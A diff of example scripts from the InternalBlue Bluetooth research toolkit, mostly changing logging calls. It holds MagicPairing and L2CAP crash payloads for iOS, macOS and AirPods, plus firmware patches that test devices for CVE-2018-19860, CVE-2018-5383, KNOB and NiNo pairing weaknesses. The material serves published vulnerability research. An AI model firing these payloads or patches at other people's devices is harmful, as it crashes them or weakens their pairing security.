@@ -5,5 +5,5 @@ This folder contains the proof-of-concepts belonging to our WiSec paper
Run the `mp_pocs.py` script to try the PoCs. The script will interactively ask
for the required information for each of the PoCs. It assumes a connected iOS
device running InternalBlue. This can be changed by adopting the core to the
device running InternalBlue. This can be changes by adopting the core to the
desired one (i.e. for macOS `internalblue = macOSCore()`).
+90 -96
View File
@@ -1,110 +1,105 @@
import binascii
import sys
import time
import binascii
import InternalBlueL2CAP
from BTConnection import BluetoothConnection
from pwnlib import log
from pwnlib.ui import options
from pwn import *
from internalblue.ioscore import iOSCore
from BTConnection import BluetoothConnection
import InternalBlueL2CAP
VULNS = [{
"description": "[MP1]: iOS RatchetAESSIV Crash (0xa8)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP2]: iOS Hint Crash (0x1)",
"tech": 0,
"payload": "01020304050607",
"cid": 0x30,
"mtu": False
}, {
"description": "[MP3]: macOS RatchetAESSIV Crash (0x0)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP4]: macOS Hint Crash (0x0)",
"tech": 0,
"payload": "01010310001000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20001000BB" +
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP5]: iOS RatchetAESSIV Crash (0x10d)",
"tech": 0,
"payload": "02010b028000360091b51d14747835f3a0818f7de4434329b3d4e265" +
"e5005b3f3ad5fdcaea6991b51d147478307de4434329b3d4e265e500" +
"5b3f3ad5fdcaea6991b51d147478343239343936373239357de44343" +
"29b3d4e265e5005b3f3ad5fdcaea6991a5580267a9a761bf4b046cf3" +
"0e4f6147a1a06bb74b5702d6c0333430323832333636393230393338" +
"343633343633333734363037343331373638f3a081b4323131343831" +
"6c010104002b0100",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP6]: iOS RatchetAESSIV Assertion Failure Crash",
"tech": 0,
"payload": "02f3a081ae80002d330091b51d147478360104002b010000a393d231" +
"31fe617878f69af4207d34323934393637333033e22775642f7fc1cd" +
"9fdcddc89934dd39608afc6948b87ee0ef8968286341fd0515f98acd" +
"5fb62f55f923887021a4ea8730cbaae05058b60f673c510a6170aa2e" +
"cbdf1d142f763ef03f38d27c392ecdf1a574fdf906bcf74aa35da085" +
"f137ddecff2aec0d5c95b8fa83a71b42af205359e4f02aaca2ab4778" +
"001274a8183334303238323336363932303933383436333436333337" +
"34363037343331373638323131343536057f",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP7]: macOS Ratcheting Loop DoS",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAA00010400fffffff0",
"cid": 0x30,
"mtu": True,
"addr_change": True
}, {
"description": "[MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE"
}, {
"description": "[L2CAP1]: AirPods L2CAP Crash",
"tech": 0,
"payload": "",
"cid": 0x30,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)",
"tech": 0,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)",
"tech": 1,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}
"description": "[MP1]: iOS RatchetAESSIV Crash (0xa8)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP2]: iOS Hint Crash (0x1)",
"tech": 0,
"payload": "01020304050607",
"cid": 0x30,
"mtu": False
}, {
"description": "[MP3]: macOS RatchetAESSIV Crash (0x0)",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAA001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP4]: macOS Hint Crash (0x0)",
"tech": 0,
"payload": "01010310001000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20001000BB" +
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0001040012345678",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP5]: iOS RatchetAESSIV Crash (0x10d)",
"tech": 0,
"payload": "02010b028000360091b51d14747835f3a0818f7de4434329b3d4e265" +
"e5005b3f3ad5fdcaea6991b51d147478307de4434329b3d4e265e500" +
"5b3f3ad5fdcaea6991b51d147478343239343936373239357de44343" +
"29b3d4e265e5005b3f3ad5fdcaea6991a5580267a9a761bf4b046cf3" +
"0e4f6147a1a06bb74b5702d6c0333430323832333636393230393338" +
"343633343633333734363037343331373638f3a081b4323131343831" +
"6c010104002b0100",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP6]: iOS RatchetAESSIV Assertion Failure Crash",
"tech": 0,
"payload": "02f3a081ae80002d330091b51d147478360104002b010000a393d231" +
"31fe617878f69af4207d34323934393637333033e22775642f7fc1cd" +
"9fdcddc89934dd39608afc6948b87ee0ef8968286341fd0515f98acd" +
"5fb62f55f923887021a4ea8730cbaae05058b60f673c510a6170aa2e" +
"cbdf1d142f763ef03f38d27c392ecdf1a574fdf906bcf74aa35da085" +
"f137ddecff2aec0d5c95b8fa83a71b42af205359e4f02aaca2ab4778" +
"001274a8183334303238323336363932303933383436333436333337" +
"34363037343331373638323131343536057f",
"cid": 0x30,
"mtu": True
}, {
"description": "[MP7]: macOS Ratcheting Loop DoS",
"tech": 0,
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
"AAAAAAAAAA00010400fffffff0",
"cid": 0x30,
"mtu": True,
"addr_change": True
}, {
"description": "[MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE"
}, {
"description": "[L2CAP1]: AirPods L2CAP Crash",
"tech": 0,
"payload": "",
"cid": 0x30,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)",
"tech": 0,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}, {
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)",
"tech": 1,
"payload": "000001000200",
"cid": 0x02,
"mtu": False,
}
]
def listener(data):
log.info("Listener received: %s", binascii.hexlify(data))
def bd_addr_to_bytes(addr_string):
addr = addr_string.replace(":", "")
return bytes.fromhex(addr)
def main():
internalblue = iOSCore()
@@ -127,8 +122,8 @@ def main():
# if the vuln requires an address change, ask for the address
if "addr_change" in vuln and vuln["addr_change"]:
change_addr = input("This PoC requires the Bluetooth address to be changed, " +
"please provide it: ")
change_addr = input("This PoC requires the Bluetooth address to be changed, " +
"please provide it: ")
change_addr = bd_addr_to_bytes(change_addr)
internalblue.sendHciCommand(0xfc01, change_addr[::-1])
@@ -155,7 +150,7 @@ def main():
l2cap.sendData(bytes.fromhex("F00000"), 0x30)
desc = vuln["description"]
log.info("Executing payload for %s", desc[:desc.find("]") + 1])
log.info("Executing payload for %s", desc[:desc.find("]")+1])
if isinstance(vuln["payload"], list):
for p in vuln["payload"]:
l2cap.sendData(bytes.fromhex(p), vuln["cid"])
@@ -165,6 +160,5 @@ def main():
time.sleep(1)
if __name__ == "__main__":
main()
+26 -24
View File
@@ -3,21 +3,21 @@
# Jiska Classen
# Get receive statistics on a Nexus 5 for BLE connection events
import sys
from argparse import Namespace
from builtins import range
import internalblue.hci as hci
from internalblue.adbcore import ADBCore
from internalblue.cli import InternalBlueCLI
from internalblue.utils.packing import u16
from pwnlib.asm import asm
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=False)
device_list = internalblue.device_list()
if len(device_list) == 0:
internalblue.logger.warning("No HCI devices connected!")
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
@@ -78,26 +78,27 @@ ASM_HOOKS = """
// branch back to _connTaskRxDone + 4
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS + 4)
""" % (RX_DONE_HOOK_ADDRESS+4)
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
internalblue.logger.info("Installing hook patch...")
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
@@ -126,18 +127,18 @@ def lereceiveStatusCallback(record):
# !!! Nexus 5 has really outdated struct...
packet_curr_nesn_sn = data[0xa0]
packet_channel_map = data[0x4c:0x4c + 38]
packet_channel_map = data[0x4c:0x4c+38]
packet_channel = data[0x7b]
packet_event_ctr = u16(data[0x86:0x88])
packet_rssi = data[0]
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
internalblue.logger.info(" ^----------------------------- ERROR --------------------------------")
log.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# internalblue.logger.debug(" ^----------------------------- MISSED -------------------------------")
# log.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
@@ -158,17 +159,18 @@ def lereceiveStatusCallback(record):
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
internalblue.logger.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to display statistics.")
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
@@ -1,10 +1,12 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
from pwnlib.asm import asm
import sys
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.utils.packing import p32
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
@@ -114,45 +116,45 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
progress_log = internalblue.logger.info("installing assembly patches to crash other device on connect requests...")
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
#progress_log = internalblue.logger.info("Writing ASM snippet for LMP 00 table lookup.")
#progress_log = log.info("Writing ASM snippet for LMP 00 table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
internalblue.logger.critical("error!")
progress_log.critical("error!")
exit(-1)
#progress_log = internalblue.logger.info("Installing predefined hook for LMP table lookup.")
#progress_log = log.info("Installing predefined hook for LMP table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
internalblue.logger.critical("error!")
progress_log.critical("error!")
exit(-1)
#progress_log = internalblue.logger.info("Writing ASM snippet for LMP VSC existence check.")
#progress_log = log.info("Writing ASM snippet for LMP VSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
internalblue.logger.critical("error!")
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
#internalblue.logger.info("Installing LMP VSC existence hook patch...")
#log.info("Installing LMP VSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
internalblue.logger.critical("Installing patch for VSC existence check failed!")
log.critical("Installing patch for VSC existence check failed!")
exit(-1)
internalblue.logger.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("------------------")
internalblue.logger.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
log.info("------------------")
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
@@ -1,16 +1,17 @@
#!/usr/bin/env python3
#!/usr/bin/env python2
# Dennis Mantz
from internalblue import Address
from internalblue.adbcore import ADBCore
from pwnlib.asm import asm
from internalblue.utils.pwnlib_wrapper import log, asm
#internalblue = core.InternalBlue()
internalblue = ADBCore()
device_list = internalblue.device_list()
if len(device_list) == 0:
internalblue.logger.warning("No ADB devices connected!")
log.warn("No ADB devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
internalblue.interface = device_list[0][1] # just use the first device
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
@@ -65,56 +66,56 @@ generate:
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
if internalblue.fw.FW_NAME != "BCM4335C0":
internalblue.logger.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
internalblue.logger.info("It does not work on other firmwares (wrong offsets).")
log.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
log.info("It does not work on other firmwares (wrong offsets).")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
internalblue.logger.info("Installing hook patches...")
internalblue.logger.info(" - Hook public key receive path to replace y-coordinate with zero")
log.info("Installing hook patches...")
log.info(" - Hook public key receive path to replace y-coordinate with zero")
patch = asm("bl 0x%x" % HOOKS_LOCATION, vma=PK_RECV_HOOK_ADDRESS)
if not internalblue.patchRom(PK_RECV_HOOK_ADDRESS, patch):
internalblue.logger.critical("Installing patch for PK_recv failed!")
log.critical("Installing patch for PK_recv failed!")
exit(-1)
internalblue.logger.info(" - Hook public key send path to replace y-coordinate with zero")
log.info(" - Hook public key send path to replace y-coordinate with zero")
patch = asm("bl 0x%x" % (HOOKS_LOCATION+2), vma=PK_SEND_HOOK_ADDRESS)
if not internalblue.patchRom(PK_SEND_HOOK_ADDRESS, patch):
internalblue.logger.critical("Installing patch for PK_send failed!")
log.critical("Installing patch for PK_send failed!")
exit(-1)
internalblue.logger.info(" - Hook private key generation function to always produce even private key")
log.info(" - Hook private key generation function to always produce even private key")
# replace function sub_48E96 (generate random privkey) with a function
# that generates an even privkey. needs 2 dword patches because of alignment:
# 00048EB8 20 A8 ADD R0, SP, #0x100+var_80
# 00048EBA FF F7 EC FF BL sub_48E96
# 00048EBE 25 98 LDR R0, [SP,#0x100+var_6C]
#00048EB8 20 A8 ADD R0, SP, #0x100+var_80
#00048EBA FF F7 EC FF BL sub_48E96
#00048EBE 25 98 LDR R0, [SP,#0x100+var_6C]
patch = asm("bl 0x%x" % (HOOKS_LOCATION+4), vma=GEN_PRIV_KEY_ADDRESS)
if not internalblue.patchRom(GEN_PRIV_KEY_ADDRESS, patch):
internalblue.logger.critical("Installing patch for GEN_PRIV_KEY failed!")
log.critical("Installing patch for GEN_PRIV_KEY failed!")
exit(-1)
# Forcing the generation of a new keypair
internalblue.logger.info("Send HCI_Write_Simple_Pairing_Mode command to force generation of new key pair")
log.info("Send HCI_Write_Simple_Pairing_Mode command to force generation of new key pair")
# Done
internalblue.logger.info("Done. The device is now ready.")
internalblue.logger.info("Steps to verify if another BT device is vulnerable to CVE-2018-5383:")
internalblue.logger.info(" 1. Start InternalBlue CLI for Nexus 5 and activate the LMP monitor.")
internalblue.logger.info(" 2. Pair the Nexus 5 with the other BT device.")
internalblue.logger.info(" 3. If pairing fails with message 'Incorrect PIN', repeat step 2.")
internalblue.logger.info(" If the other device is vulnerable, pairing succeeds with 50% probability.")
internalblue.logger.info(" If the other device is NOT vulnerable, pairing never succeeds.")
internalblue.logger.info(" 4. After pairing was successful, check the LMP capture and verify that")
internalblue.logger.info(" the Nexus 5 sent zero as y-coordinate in the 'encapsulated payload' packet")
log.info("Done. The device is now ready.")
log.info("Steps to verify if another BT device is vulnerable to CVE-2018-5383:")
log.info(" 1. Start InternalBlue CLI for Nexus 5 and activate the LMP monitor.")
log.info(" 2. Pair the Nexus 5 with the other BT device.")
log.info(" 3. If pairing fails with message 'Incorrect PIN', repeat step 2.")
log.info(" If the other device is vulnerable, pairing succeeds with 50% probability.")
log.info(" If the other device is NOT vulnerable, pairing never succeeds.")
log.info(" 4. After pairing was successful, check the LMP capture and verify that")
log.info(" the Nexus 5 sent zero as y-coordinate in the 'encapsulated payload' packet")
+26 -25
View File
@@ -1,20 +1,13 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from internalblue import Address
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.utils.packing import p16, u16
from internalblue.cli import auto_int
from internalblue.cli import InternalBlueCLI
from pwnlib.asm import asm
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import log, asm, u8, p16, u16
"""
@@ -33,11 +26,11 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
@@ -47,7 +40,7 @@ internalblue.patchRom(Address(0x5AED0), patch)
internalblue.writeMem(0x203797, b'\x01') # global key entropy
internalblue.logger.info("-----------------------KNOB-----------------------\n"
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
@@ -58,15 +51,22 @@ internalblue.logger.info("-----------------------KNOB-----------------------\n"
"...shows the key size of handle 0x000c.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
@cmd2.with_argparser(knob_parser)
def do_knob(self, args):
"""Introduce a new CLI command to make KNOB debugging easier..."""
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return None
return True
def hciKnobCallback(record):
@@ -80,18 +80,19 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
cli.commandLoop(internalblue)
+8 -8
View File
@@ -3,7 +3,7 @@
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from internalblue.adbcore import ADBCore
from pwnlib.asm import asm
from internalblue.utils.pwnlib_wrapper import log, asm
from binascii import unhexlify
"""
Filter connections by MAC address before entering LMP dispatcher.
@@ -96,22 +96,22 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first d
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Writing ASM snippet for LMP MAC address filter.")
progress_log = log.info("Writing ASM snippet for LMP MAC address filter.")
code = asm(ASM_SNIPPET_LMP_FILTER, vma=ASM_LOCATION_LMP_FILTER)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
internalblue.logger.info("Installing MAC address filter hook patch...")
log.info("Installing MAC address filter hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_LMP_FILTER, vma=HOOK_LMP_FILTER)
if not internalblue.patchRom(HOOK_LMP_FILTER, patch):
internalblue.logger.critical("error!")
log.critical("error!")
exit(-1)
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("Goodbye")
log.info("Goodbye")
+10 -8
View File
@@ -6,7 +6,8 @@ import sys
from internalblue import Address
from internalblue.adbcore import ADBCore
from pwnlib.asm import asm
from internalblue.utils.pwnlib_wrapper import log, asm
"""
In a NiNo attack an active MITM fakes that the other device has no in put and no output capabilities. We think smartphones should not accept that or show a big warning ("Is this really a headset without display?!"), but in implementations we saw this does not happen. With NiNo, secure simple pairing will still be present, but in "Just Works" mode which is suspect to MITM.
@@ -70,28 +71,29 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first d
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Writing ASM snippet for NiNo check.")
progress_log = log.info("Writing ASM snippet for NiNo check.")
code = asm(ASM_SNIPPET_IO_CAP_RESP, vma=ASM_LOCATION_IO_CAP_RESP)
if not internalblue.writeMem(address=ASM_LOCATION_IO_CAP_RESP, data=code, progress_log=None):
internalblue.logger.failure("error!")
if not internalblue.writeMem(address=ASM_LOCATION_IO_CAP_RESP, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
internalblue.logger.info("Installing NiNo hook ...")
log.info("Installing NiNo hook ...")
patch = asm("b 0x%x" % ASM_LOCATION_IO_CAP_RESP, vma=HOOK_IO_CAP_RESP)
if not internalblue.patchRom(HOOK_IO_CAP_RESP, patch):
internalblue.logger.critical("error!")
log.critical("error!")
exit(-1)
# shutdown connection
internalblue.shutdown()
internalblue.logger.info("Goodbye")
log.info("Goodbye")
+28 -24
View File
@@ -3,17 +3,15 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 5.
@@ -50,7 +48,7 @@ ASM_SNIPPET_RNG = """
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let us notify
// done, let's notify
bl notify_hci
// back to lr
@@ -91,7 +89,7 @@ ASM_SNIPPET_RNG = """
//// issue an HCI event once we are done
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
@@ -127,28 +125,33 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
progress_log = log.info("installing assembly patches...")
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
adb.process(["su", "-c", "svc wifi disable"])
internalblue.logger.info("Disabled Wi-Fi core.")
log.info("Disabled Wi-Fi core.")
"""
@@ -165,19 +168,20 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -193,13 +197,13 @@ while rounds > i:
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
internalblue.logger.error("Data was corrupted by another process!")
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
@@ -210,9 +214,9 @@ f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
+30 -23
View File
@@ -1,16 +1,17 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwnlib import adb
from pwnlib.asm import asm
import sys
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from internalblue.cli import InternalBlueCLI
"""
Measure the RNG of the Nexus 5.
@@ -56,7 +57,7 @@ ASM_SNIPPET_RNG = """
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let us notify
// done, let's notify
bl notify_hci
// back to lr
@@ -84,7 +85,7 @@ ASM_SNIPPET_RNG = """
//// issue an HCI event once we are done
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
@@ -120,28 +121,33 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("installing assembly patches...")
